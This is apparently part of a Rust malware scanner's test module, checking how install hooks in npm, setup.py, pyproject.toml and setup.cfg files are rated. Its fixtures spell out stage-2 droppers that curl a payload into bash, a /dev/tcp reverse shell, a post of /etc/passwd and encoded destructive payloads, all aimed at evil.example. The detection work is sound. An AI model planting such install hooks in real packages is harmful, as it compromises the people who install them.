    let (mut run, mut has_letter) = (0usize, false);
    for b in text.bytes() {
        if b.is_ascii_hexdigit() {
            run += 1;
            has_letter |= b.is_ascii_alphabetic();
            if run >= min_len && has_letter {
                return true;
            }
        } else {
            run = 0;
            has_letter = false;
        }
    }
    false
}

#[cfg(test)]
mod tests {
    use super::*;

    /// RED-when-broken: a real malicious `package.json` — a `postinstall` that
    /// `curl`s a URL and pipes it to `bash` — MUST fold to a **High**
    /// `MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL` finding (the dropper pattern) plus the
    /// install-hook Low. If network-in-install detection or the severity mapping
    /// breaks, the High-label assertion fires red.
    #[test]
    fn dropper_postinstall_maps_to_high_network_finding() {
        #[cfg(feature = "testmatrix")]
        let _guard = crate::testmatrix_test_guard(); // serialize the shared drain buffer
        #[cfg(feature = "testmatrix")]
        let _ = nornir_testmatrix::drain_functional_rows(); // clean buffer

        let json = r#"{
            "name": "left-pad-helper",
            "version": "9.9.9",
            "scripts": {
                "postinstall": "curl -s https://evil.example/stage2.sh | bash",
                "test": "echo ok"
            }
        }"#;
        let b = parse_npm_package(json).unwrap();

        assert_eq!(b.subject, "left-pad-helper");
        assert_eq!(
            b.install_hooks,
            vec!["postinstall"],
            "only the auto-run hook is scored, not `test`"
        );
        assert!(
            b.network_in_install,
            "curl to a URL in postinstall is a network fetch"
        );
        assert_eq!(b.url_count, 1, "one https URL in the install script");

        let f = b.findings();
        let net = f
            .iter()
            .find(|x| x.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL")
            .expect("network-in-install finding present");
        assert_eq!(
            net.severity,
            Severity::High,
            "a dropper install hook is a High signal"
        );
        assert_eq!(
            net.severity.as_str(),
            "High",
            "canonical severity label consumers render"
        );
        // The weak install-hook feature is also present (Low), below the network High.
        assert!(
            f.iter()
                .any(|x| x.id == "MODGUNN-BEHAVIOR-INSTALL-HOOK" && x.severity == Severity::Low),
            "the install-hook feature is a Low finding: {f:#?}",
        );

        #[cfg(feature = "testmatrix")]
        {
            use nornir_testmatrix::{drain_functional_rows, status};
            let rows = drain_functional_rows();
            let hit = rows
                .iter()
                .find(|r| {
                    r.suite == "modgunn/behavior-features" && r.test_name == "parse_npm_package"
                })
                .unwrap_or_else(|| panic!("no behaviour-features row: {rows:#?}"));
            assert!(
                status::is_green(&hit.status),
                "parsed OK ⇒ GREEN row: {hit:#?}"
            );
            assert_eq!(
                hit.aspect, "functional",
                "feature markers ride the `functional` aspect"
            );
        }
    }

    /// A base64-blob `preinstall` (`node -e "eval(atob('<long>'))"`) trips the
    /// obfuscation + sensitive-API features even with no explicit URL.
    #[test]
    fn encoded_payload_trips_obfuscation_and_sensitive_apis() {
        let blob = "aGVsbG8gd29ybGQgdGhpcyBpcyBhIHZlcnkgbG9uZyBiYXNlNjQgcGF5bG9hZA";
        let json = format!(
            r#"{{ "name": "evil-pkg", "scripts": {{ "preinstall": "node -e \"eval(atob('{blob}'))\"" }} }}"#
        );
        let b = parse_npm_package(&json).unwrap();

        assert_eq!(b.install_hooks, vec!["preinstall"]);
        assert!(
            b.max_token_entropy >= DEFAULT_OBFUSCATION_ENTROPY,
            "base64 blob is high-entropy: {}",
            b.max_token_entropy
        );
        assert!(
            b.sensitive_apis.contains("eval"),
            "eval( is a sensitive primitive: {:?}",
            b.sensitive_apis
        );
        assert!(
            b.sensitive_apis.contains("base64-decode"),
            "atob( is base64 decode: {:?}",
            b.sensitive_apis
        );
        assert!(
            b.sensitive_apis.contains("inline-eval"),
            "node -e is inline eval: {:?}",
            b.sensitive_apis
        );

        let findings = b.findings();
        let ids: Vec<&str> = findings.iter().map(|x| x.id.as_str()).collect();
        assert!(ids.contains(&"MODGUNN-BEHAVIOR-OBFUSCATION"), "{ids:?}");
        assert!(ids.contains(&"MODGUNN-BEHAVIOR-SENSITIVE-API"), "{ids:?}");
    }

    /// Guard against false positives (RED if the extractor over-fires): a benign
    /// package with only a user-invoked `build`/`test` script and no install hook
    /// yields NO behaviour findings — a `curl` in a `test` script the user opts into
    /// is not the auto-run malware vector.
    #[test]
    fn benign_package_with_no_install_hook_is_clean() {
        let json = r#"{
            "name": "honest-lib",
            "version": "1.2.3",
            "scripts": {
                "build": "tsc",
                "test": "curl -s https://ci.example/report && jest"
            }
        }"#;
        let b = parse_npm_package(json).unwrap();

        assert!(b.install_hooks.is_empty(), "no auto-run install hook");
        assert!(
            !b.network_in_install,
            "the network call is in `test`, not an install hook"
        );
        assert_eq!(b.url_count, 0, "the test-script URL is not scored");
        assert!(b.sensitive_apis.is_empty(), "no install-script primitives");
        assert!(
            b.findings().is_empty(),
            "a package with no install hook has no behaviour findings: {:?}",
            b.findings()
        );
    }

    /// A package with no `scripts` at all parses cleanly to an empty feature vector.
    #[test]
    fn no_scripts_is_empty_feature_vector() {
        let b = parse_npm_package(r#"{ "name": "pure-data" }"#).unwrap();
        assert!(b.install_hooks.is_empty());
        assert_eq!(b.url_count, 0);
        assert_eq!(b.max_token_entropy, 0.0);
        assert!(b.sensitive_apis.is_empty());
        assert!(b.findings().is_empty());
    }

    /// Malformed JSON is a clean `Err`, never a panic (the parser contract).
    #[test]
    fn malformed_json_is_an_error_not_a_panic() {
        assert!(parse_npm_package("{ not json").is_err());
    }

    // ── PyPI setup.py front-end (reuses the SAME extract_from_install_text) ──────

    /// RED-when-broken: a malicious `setup.py` that downloads a payload
    /// (`urllib.urlopen`) and runs it (`os.system`) MUST fold — over the WHOLE-file
    /// scan, no cmdclass needed — to a **High** `MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL`
    /// finding, and pull the `process-exec` sensitive-API. If PyPI whole-file
    /// extraction or the severity mapping breaks, the High-label assertion fires red.
    #[test]
    fn pypi_dropper_setup_maps_to_high_network_finding() {
        #[cfg(feature = "testmatrix")]
        let _guard = crate::testmatrix_test_guard(); // serialize the shared drain buffer
        #[cfg(feature = "testmatrix")]
        let _ = nornir_testmatrix::drain_functional_rows(); // clean buffer

        let setup_py = r#"
from setuptools import setup
import os, urllib.request
# stage-2 dropper that runs at `pip install` from the sdist
urllib.request.urlopen("https://evil.example/x.py")
os.system("sh -c 'curl https://evil.example/run | sh'")
setup(name="totally-legit-utils", version="1.0.0", packages=["utils"])
"#;
        let b = parse_pypi_setup(setup_py);

        assert_eq!(
            b.subject, "totally-legit-utils",
            "name= keyword-arg extracted"
        );
        assert!(
            b.network_in_install,
            "urllib/urlopen/curl in setup.py is a network fetch"
        );
        assert!(
            b.sensitive_apis.contains("process-exec"),
            "os.system is process-exec: {:?}",
            b.sensitive_apis
        );

        let f = b.findings();
        let net = f
            .iter()
            .find(|x| x.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL")
            .expect("network-in-install finding present");
        assert_eq!(
            net.severity,
            Severity::High,
            "a dropper setup.py is a High signal"
        );
        assert_eq!(
            net.severity.as_str(),
            "High",
            "canonical severity label consumers render"
        );

        #[cfg(feature = "testmatrix")]
        {
            use nornir_testmatrix::{drain_functional_rows, status};
            let rows = drain_functional_rows();
            let hit = rows
                .iter()
                .find(|r| {
                    r.suite == "modgunn/behavior-features" && r.test_name == "parse_pypi_setup"
                })
                .unwrap_or_else(|| panic!("no pypi behaviour-features row: {rows:#?}"));
            assert!(
                status::is_green(&hit.status),
                "parsed OK ⇒ GREEN row: {hit:#?}"
            );
            assert_eq!(
                hit.aspect, "functional",
                "feature markers ride the `functional` aspect"
            );
        }
    }

    /// A `cmdclass` install-command override is the PyPI install-hook signal → a Low
    /// `MODGUNN-BEHAVIOR-INSTALL-HOOK` finding, even without a dangerous call.
    #[test]
    fn pypi_cmdclass_install_override_is_an_install_hook() {
        let setup_py = r#"
from setuptools import setup
from setuptools.command.install import install

class PostInstall(install):
    def run(self):
        install.run(self)

setup(name="hooky", version="2.0", cmdclass={"install": PostInstall})
"#;
        let b = parse_pypi_setup(setup_py);
        assert_eq!(
            b.install_hooks,
            vec!["cmdclass-install"],
            "custom install command detected"
        );
        assert!(
            b.findings()
                .iter()
                .any(|x| x.id == "MODGUNN-BEHAVIOR-INSTALL-HOOK" && x.severity == Severity::Low),
            "the install-hook feature is a Low finding: {:?}",
            b.findings(),
        );
    }

    /// Guard against false positives (RED if the extractor over-fires): a plain
    /// declarative `setup.py` with only `name` / `packages` / `install_requires` and
    /// no dangerous call yields NO behaviour findings — `install_requires` contains
    /// the substring "install" but is not a `cmdclass` override.
    #[test]
    fn pypi_benign_declarative_setup_is_clean() {
        let setup_py = r#"
from setuptools import setup
setup(
    name="honest-lib",
    version="3.4.5",
    packages=["honest_lib"],
    install_requires=["requests>=2", "click"],
)
"#;
        let b = parse_pypi_setup(setup_py);
        assert_eq!(b.subject, "honest-lib");
        assert!(
            b.install_hooks.is_empty(),
            "install_requires is not a cmdclass override"
        );
        assert!(
            !b.network_in_install,
            "no network fetch in a declarative setup"
        );
        assert!(b.sensitive_apis.is_empty(), "no dangerous primitives");
        assert!(
            b.findings().is_empty(),
            "a declarative setup.py has no behaviour findings: {:?}",
            b.findings()
        );
    }

    /// A base64-blob exec in `setup.py` trips obfuscation + the Python deserialize/
    /// dynamic-import sensitive primitives.
    #[test]
    fn pypi_encoded_payload_trips_obfuscation_and_python_apis() {
        let blob = "aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ3JtIC1yZiAvJyk9PT1sb25nYmFzZTY0";
        let setup_py = format!(
            "import base64, marshal\nexec(marshal.loads(base64.b64decode('{blob}')))\nsetup(name='evil')\n"
        );
        let b = parse_pypi_setup(&setup_py);
        assert!(
            b.max_token_entropy >= DEFAULT_OBFUSCATION_ENTROPY,
            "base64 blob is high-entropy: {}",
            b.max_token_entropy
        );
        assert!(
            b.sensitive_apis.contains("deserialize-exec"),
            "marshal.loads is deserialize-exec: {:?}",
            b.sensitive_apis
        );
        assert!(
            b.sensitive_apis.contains("base64"),
            "base64 primitive: {:?}",
            b.sensitive_apis
        );
        let findings = b.findings();
        let ids: Vec<&str> = findings.iter().map(|x| x.id.as_str()).collect();
        assert!(ids.contains(&"MODGUNN-BEHAVIOR-OBFUSCATION"), "{ids:?}");
        assert!(ids.contains(&"MODGUNN-BEHAVIOR-SENSITIVE-API"), "{ids:?}");
    }

    /// RED-when-reverted (FALSE-NEGATIVE fix): a `setup.py` stage-2 dropper that uses
    /// the Python stdlib `http.client.HTTPSConnection` — with NO `http(s)://` literal
    /// and no `urllib` — must still fold to the **High** network-in-install finding.
    /// Before the needle set was widened, this canonical needle-free dropper shipped
    /// completely clean.
    #[test]
    fn pypi_http_client_stdlib_dropper_is_high_network() {
        let setup_py = "import http.client\nc = http.client.HTTPSConnection('evil.example')\nc.request('GET', '/stage2')\nopen('_s2.py','wb').write(c.getresponse().read())\nsetup(name='legit')\n";
        let b = parse_pypi_setup(setup_py);
        assert!(
            b.network_in_install,
            "http.client stdlib fetch is a network fetch"
        );
        assert!(
            b.findings()
                .iter()
                .any(|f| f.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"
                    && f.severity == Severity::High),
            "needle-free stdlib dropper must be High: {:?}",
            b.findings()
        );
    }

    /// RED-when-reverted (FALSE-NEGATIVE fix): `requests.post` (any verb, not only
    /// `.get`) is a network fetch. The needle was widened from `requests.get` to
    /// `requests.`.
    #[test]
    fn pypi_requests_post_is_network() {
        let setup_py = "import requests\nrequests.post('http'+'s://evil/x', data=open('/etc/passwd').read())\nsetup(name='x')\n";
        let b = parse_pypi_setup(setup_py);
        assert!(
            b.network_in_install,
            "requests.post is a network verb too (scheme is even split): {:?}",
            b.findings()
        );
    }

    /// RED-when-reverted (FALSE-NEGATIVE fix): a HEX-encoded payload has Shannon
    /// entropy <= 4.0 bits/byte (< the 4.5 gate), so the entropy signal alone is
    /// structurally blind to it. The dedicated hex-run detector flags it as
    /// obfuscation.
    #[test]
    fn pypi_hex_encoded_payload_trips_obfuscation() {
        // A long hex blob (has letters a-f, so not a decimal literal); no base64.
        let setup_py = "exec(bytes.fromhex('6f732e73797374656d28277264202d7266202f27296465616462656566'))\nsetup(name='x')\n";
        let b = parse_pypi_setup(setup_py);
        assert!(b.hex_blob, "a long a-f hex run is detected");
        assert!(
            b.max_token_entropy < DEFAULT_OBFUSCATION_ENTROPY,
            "and the entropy gate alone would MISS it: {}",
            b.max_token_entropy
        );
        assert!(
            b.findings()
                .iter()
                .any(|f| f.id == "MODGUNN-BEHAVIOR-OBFUSCATION"),
            "hex payload must trip obfuscation: {:?}",
            b.findings()
        );
        // A benign long DECIMAL token (a timestamp/version) must NOT trip hex_blob.
        let benign = parse_pypi_setup("VERSION = '12345678901234567890'\nsetup(name='ok')\n");
        assert!(!benign.hex_blob, "a long decimal number is not a hex blob");
    }

    /// RED-when-reverted: the `os.exec*` family (process-replace) must be caught as
    /// process-exec. `os.execv(` contains no literal `exec(`, so it evaded detection
    /// and a payload-handoff shipped clean.
    #[test]
    fn os_exec_family_is_process_exec() {
        let b = parse_pypi_setup(
            "import os\nos.execvp('/bin/sh', ['sh','-c','curl evil|sh'])\nsetup(name='x')\n",
        );
        assert!(
            b.sensitive_apis.contains("process-exec"),
            "os.execvp is process-exec: {:?}",
            b.sensitive_apis
        );
    }

    /// RED-when-reverted: a reverse shell (`/dev/tcp`) in an install script is a peer
    /// threat to a dropper and must rate **High** — not the Medium a generic
    /// `exec`/`subprocess` earns. A plain `subprocess`-only script stays Medium (no
    /// over-escalation).
    #[test]
    fn reverse_shell_in_install_is_high_not_medium() {
        let setup_py =
            "import os\nos.system('bash -i >& /dev/tcp/evil.example/443 0>&1')\nsetup(name='x')\n";
        let b = parse_pypi_setup(setup_py);
        assert!(
            b.sensitive_apis.contains("reverse-shell"),
            "/dev/tcp is a reverse shell: {:?}",
            b.sensitive_apis
        );
        let sens = b
            .findings()
            .into_iter()
            .find(|f| f.id == "MODGUNN-BEHAVIOR-SENSITIVE-API")
            .expect("sensitive-api finding");
        assert_eq!(
            sens.severity,
            Severity::High,
            "a reverse shell in install is High"
        );

        // A generic dangerous primitive with no reverse/interactive shell stays Medium.
        let plain =
            parse_pypi_setup("import subprocess\nsubprocess.run(['make'])\nsetup(name='ok')\n");
        let m = plain
            .findings()
            .into_iter()
            .find(|f| f.id == "MODGUNN-BEHAVIOR-SENSITIVE-API")
            .expect("finding");
        assert_eq!(
            m.severity,
            Severity::Medium,
            "a bare subprocess is only Medium (no over-escalation)"
        );
    }

    // ── pyproject.toml front-end (SECTION-AWARE — never a whole-file scan) ───────

    /// RED-when-broken **anti-false-positive guard** (the whole reason this front-end
    /// is section-aware): a perfectly honest declarative `pyproject.toml` — its
    /// `[project] dependencies` list literally contains `urllib3` (which embeds the
    /// `urllib` network needle) and its `[project.urls]` block carries `https://`
    /// homepages — MUST yield NO `network_in_install` finding, because none of that is
    /// build/install-active. If anyone regresses this to the naive whole-file scan the
    /// `setup.py` front-end uses, `urllib3` + `https://` trip `network_in_install` and
    /// this fires red.
    #[test]
    fn pyproject_benign_declarative_no_network_finding() {
        let toml = r#"
[build-system]
requires = ["setuptools>=61", "wheel"]
build-backend = "setuptools.build_meta"

[project]
name = "honest-tool"
version = "1.0.0"
dependencies = [
    "urllib3>=2",
    "requests",
    "beautifulsoup4",
]

[project.optional-dependencies]
dev = ["pytest", "requests"]

[project.urls]
Homepage = "https://honest.example/tool"
Repository = "https://github.com/honest/tool"

[tool.black]
line-length = 100

[tool.ruff]
target-version = "py311"
"#;
        let b = parse_pyproject_toml(toml);

        assert_eq!(
            b.subject, "honest-tool",
            "name= keyword-arg extracted from [project]"
        );
        assert!(
            !b.network_in_install,
            "declarative deps/urls are NOT install-active — a whole-file scan would false-positive here: {b:#?}"
        );
        assert_eq!(
            b.url_count, 0,
            "the [project.urls] https homepages are not scanned"
        );
        assert!(
            b.sensitive_apis.is_empty(),
            "no build-active dangerous primitive"
        );
        assert!(
            b.install_hooks.is_empty(),
            "no in-tree backend / cmdclass / build-hook"
        );
        assert!(
            b.findings().is_empty(),
            "an honest declarative pyproject has no behaviour findings: {:?}",
            b.findings()
        );
    }

    /// RED-when-broken: a genuinely malicious `pyproject.toml` — a PEP 517 in-tree
    /// backend (`backend-path`) plus a build-hook table that `curl`s a stage-2 payload
    /// and pipes it to `bash` — MUST fold to a **High**
    /// `MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL` finding (the build-time dropper) plus the
    /// Low install-hook. The network needle lives in a build-active section, so — unlike
    /// the benign case above — it IS scanned. If the section scoping breaks (drops the
    /// build-hook table) or the severity fold breaks, the High assertion fires red.
    #[test]
    fn pyproject_malicious_build_hook_maps_to_high_network_finding() {
        #[cfg(feature = "testmatrix")]
        let _guard = crate::testmatrix_test_guard(); // serialize the shared drain buffer
        #[cfg(feature = "testmatrix")]
        let _ = nornir_testmatrix::drain_functional_rows(); // clean buffer

        let toml = r#"
[build-system]
requires = ["setuptools", "wheel"]
build-backend = "_evil_backend"
backend-path = ["."]

[project]
name = "totally-legit-utils"
version = "1.0.0"
dependencies = ["urllib3"]

[project.urls]
Homepage = "https://legit.example"

[tool.setuptools.cmdclass]
install = "hook:CustomInstall"

[tool.acme.build.hooks.custom]
command = "curl -s https://evil.example/stage2.sh | bash"
"#;
        let b = parse_pyproject_toml(toml);

        assert_eq!(
            b.subject, "totally-legit-utils",
            "declarative name still extracted"
        );
        assert!(
            b.network_in_install,
            "curl/https in a build-hook table is a network fetch: {b:#?}"
        );
        assert!(
            b.url_count >= 1,
            "the build-hook URL is counted: {}",
            b.url_count
        );
        assert!(
            b.install_hooks.contains(&"pep517-backend-path".to_string()),
            "an in-tree PEP 517 backend is an install hook: {:?}",
            b.install_hooks
        );
        assert!(
            b.install_hooks.contains(&"cmdclass".to_string()),
            "a cmdclass override is an install hook: {:?}",
            b.install_hooks
        );

        let f = b.findings();
        let net = f
            .iter()
            .find(|x| x.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL")
            .expect("network-in-install finding present");
        assert_eq!(
            net.severity,
            Severity::High,
            "a build-time dropper is a High signal"
        );
        assert_eq!(
            net.severity.as_str(),
            "High",
            "canonical severity label consumers render"
        );
        assert!(
            f.iter()
                .any(|x| x.id == "MODGUNN-BEHAVIOR-INSTALL-HOOK" && x.severity == Severity::Low),
            "the install-hook feature is a Low finding: {f:#?}"
        );

        #[cfg(feature = "testmatrix")]
        {
            use nornir_testmatrix::{drain_functional_rows, status};
            let rows = drain_functional_rows();
            let hit = rows
                .iter()
                .find(|r| {
                    r.suite == "modgunn/behavior-features" && r.test_name == "parse_pyproject_toml"
                })
                .unwrap_or_else(|| panic!("no pyproject behaviour-features row: {rows:#?}"));
            assert!(
                status::is_green(&hit.status),
                "parsed OK ⇒ GREEN row: {hit:#?}"
            );
            assert_eq!(
                hit.aspect, "functional",
                "feature markers ride the `functional` aspect"
            );
        }
    }

    /// A `[build-system]` whose only signal is a `requires` build-dependency list —
    /// including a dep that embeds a network needle (`urllib3`) — is still fully benign:
    /// `requires` is declarative even inside the active `[build-system]` section, so it
    /// is skipped and never trips `network_in_install`.
    #[test]
    fn pyproject_build_requires_urllib_is_not_a_network_call() {
        let toml = r#"
[build-system]
requires = ["setuptools", "urllib3", "requests"]
build-backend = "setuptools.build_meta"

[project]
name = "uses-urllib-at-build"
"#;
        let b = parse_pyproject_toml(toml);
        assert!(
            !b.network_in_install,
            "a build `requires` dep list is declarative: {b:#?}"
        );
        assert!(b.install_hooks.is_empty(), "no in-tree backend / cmdclass");
        assert!(
            b.findings().is_empty(),
            "no behaviour findings: {:?}",
            b.findings()
        );
    }

    /// Poetry-style metadata (`[tool.poetry]` name + `homepage` URL + a
    /// `[tool.poetry.dependencies]` block) is declarative config, not a build hook —
    /// no false positive, and the name is still extracted from `[tool.poetry]`.
    #[test]
    fn pyproject_poetry_metadata_is_declarative() {
        let toml = r#"
[tool.poetry]
name = "poetry-pkg"
version = "0.1.0"
homepage = "https://poetry.example"
repository = "https://github.com/x/poetry-pkg"

[tool.poetry.dependencies]
python = "^3.11"
requests = "^2.0"

[build-system]
requires = ["poetry-core"]
build-backend = "poetry.core.masonry.api"
"#;
        let b = parse_pyproject_toml(toml);
        assert_eq!(b.subject, "poetry-pkg", "name extracted from [tool.poetry]");
        assert!(
            !b.network_in_install,
            "poetry homepage/repo URLs are declarative: {b:#?}"
        );
        assert_eq!(b.url_count, 0);
        assert!(
            b.findings().is_empty(),
            "no behaviour findings: {:?}",
            b.findings()
        );
    }

    // ── setup.cfg front-end (SECTION-AWARE INI — never a whole-file scan) ─────────

    /// RED-when-broken **anti-false-positive guard** (the whole reason this front-end
    /// is section-aware): a perfectly honest declarative `setup.cfg` — its `[options]`
    /// `install_requires` literally lists `urllib3` (which embeds the `urllib` network
    /// needle) and its `[metadata]` carries `url = https://…` + a `project_urls` block —
    /// MUST yield NO `network_in_install` finding, because none of that is
    /// build/install-active. If anyone regresses this to a naive whole-file scan,
    /// `urllib3` + `https://` trip `network_in_install` and this fires red.
    #[test]
    fn setupcfg_benign_declarative_no_network_finding() {
        let cfg = r#"
[metadata]
name = honest-tool
version = 1.0.0
url = https://honest.example/tool
project_urls =
    Homepage = https://honest.example/tool
    Repository = https://github.com/honest/tool

[options]
packages = find:
python_requires = >=3.9
install_requires =
    urllib3>=2
    requests
    beautifulsoup4

[options.extras_require]
dev =
    pytest
    requests
"#;
        let b = parse_setup_cfg(cfg);

        assert_eq!(b.subject, "honest-tool", "name= extracted from [metadata]");
        assert!(
            !b.network_in_install,
            "declarative deps/urls are NOT install-active — a whole-file scan would false-positive here: {b:#?}"
        );
        assert_eq!(
            b.url_count, 0,
            "the [metadata] url / project_urls https homepages are not scanned"
        );
        assert!(
            b.sensitive_apis.is_empty(),
            "no build-active dangerous primitive"
        );
        assert!(
            b.install_hooks.is_empty(),
            "no cmdclass / build-entry-point"
        );
        assert!(
            b.findings().is_empty(),
            "an honest declarative setup.cfg has no behaviour findings: {:?}",
            b.findings()
        );
    }

    /// RED-when-broken: a genuinely malicious `setup.cfg` — a build-time network fetch
    /// via `[options] dependency_links` (URLs setuptools downloads at build) plus a
    /// `cmdclass` install override — MUST fold to a **High**
    /// `MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL` finding plus the Low install-hook. The
    /// `dependency_links` URL lives in a build-active key, so — unlike the benign
    /// `install_requires`/`url` above — it IS scanned. If the section scoping breaks
    /// (folds nothing) or the severity fold breaks, the High assertion fires red.
    #[test]
    fn setupcfg_malicious_dependency_links_maps_to_high_network_finding() {
        #[cfg(feature = "testmatrix")]
        let _guard = crate::testmatrix_test_guard(); // serialize the shared drain buffer
        #[cfg(feature = "testmatrix")]
        let _ = nornir_testmatrix::drain_functional_rows(); // clean buffer

        let cfg = r#"
[metadata]
name = totally-legit-utils
version = 1.0.0
url = https://legit.example
project_urls =
    Homepage = https://legit.example

[options]
packages = find:
install_requires =
    urllib3
    requests
dependency_links =
    https://evil.example/stage2-1.0.tar.gz#egg=stage2
cmdclass =
    install = _bootstrap:PostInstall
"#;
        let b = parse_setup_cfg(cfg);

        assert_eq!(
            b.subject, "totally-legit-utils",
            "declarative name still extracted"
        );
        assert!(
            b.network_in_install,
            "a dependency_links URL fetch is a build-time network call: {b:#?}"
        );
        assert!(
            b.url_count >= 1,
            "the dependency_links URL is counted: {}",
            b.url_count
        );
        assert!(
            b.install_hooks.contains(&"cmdclass".to_string()),
            "a cmdclass override is an install hook: {:?}",
            b.install_hooks
        );

        let f = b.findings();
        let net = f
            .iter()
            .find(|x| x.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL")
            .expect("network-in-install finding present");
        assert_eq!(
            net.severity,
            Severity::High,
            "a build-time dropper is a High signal"
        );
        assert_eq!(
            net.severity.as_str(),
            "High",
            "canonical severity label consumers render"
        );
        assert!(
            f.iter()
                .any(|x| x.id == "MODGUNN-BEHAVIOR-INSTALL-HOOK" && x.severity == Severity::Low),
            "the install-hook feature is a Low finding: {f:#?}"
        );

        #[cfg(feature = "testmatrix")]
        {
            use nornir_testmatrix::{drain_functional_rows, status};
            let rows = drain_functional_rows();
            let hit = rows
                .iter()
                .find(|r| {
                    r.suite == "modgunn/behavior-features" && r.test_name == "parse_setup_cfg"
                })
                .unwrap_or_else(|| panic!("no setup.cfg behaviour-features row: {rows:#?}"));
            assert!(
                status::is_green(&hit.status),
                "parsed OK ⇒ GREEN row: {hit:#?}"
            );
            assert_eq!(
                hit.aspect, "functional",
                "feature markers ride the `functional` aspect"
            );
        }
    }

    /// An `[options]` whose only signal is an `install_requires` dependency list —
    /// including a dep that embeds a network needle (`urllib3`) — is still fully benign:
    /// `install_requires` is declarative even inside the active `[options]` section, so
    /// it is skipped and never trips `network_in_install`.
    #[test]
    fn setupcfg_install_requires_urllib_is_not_a_network_call() {
        let cfg = r#"
[metadata]
name = uses-urllib

[options]
install_requires = urllib3
"#;
        let b = parse_setup_cfg(cfg);
        assert!(
            !b.network_in_install,
            "an install_requires dep list is declarative: {b:#?}"
        );
        assert!(
            b.install_hooks.is_empty(),
            "no cmdclass / build-entry-point"
        );
        assert!(
            b.findings().is_empty(),
            "no behaviour findings: {:?}",
            b.findings()
        );
    }

    /// A build-active `[options.entry_points]` group (`distutils.commands` — a command
    /// setuptools runs at build) is an install-hook signal, while a `console_scripts`
    /// group (a user-run wrapper) is NOT — the auto-run-vs-opt-in line.
    #[test]
    fn setupcfg_build_entry_point_is_a_hook_but_console_scripts_is_not() {
        let build = r#"
[metadata]
name = has-build-command

[options.entry_points]
distutils.commands =
    build_hook = has_build_command.loader:BuildCommand
"#;
        let b = parse_setup_cfg(build);
        assert_eq!(
            b.install_hooks,
            vec!["build-entry-point"],
            "a distutils.commands entry point runs at build"
        );
        assert!(
            b.findings()
                .iter()
                .any(|x| x.id == "MODGUNN-BEHAVIOR-INSTALL-HOOK" && x.severity == Severity::Low),
            "the install-hook feature is a Low finding: {:?}",
            b.findings()
        );

        let runtime = r#"
[metadata]
name = has-console-script

[options.entry_points]
console_scripts =
    mytool = has_console_script.cli:main
"#;
        let r = parse_setup_cfg(runtime);
        assert!(
            r.install_hooks.is_empty(),
            "a console_scripts wrapper is user-run, not a build hook: {:?}",
            r.install_hooks
        );
        assert!(
            r.findings().is_empty(),
            "no behaviour findings for a plain console script: {:?}",
            r.findings()
        );
    }
}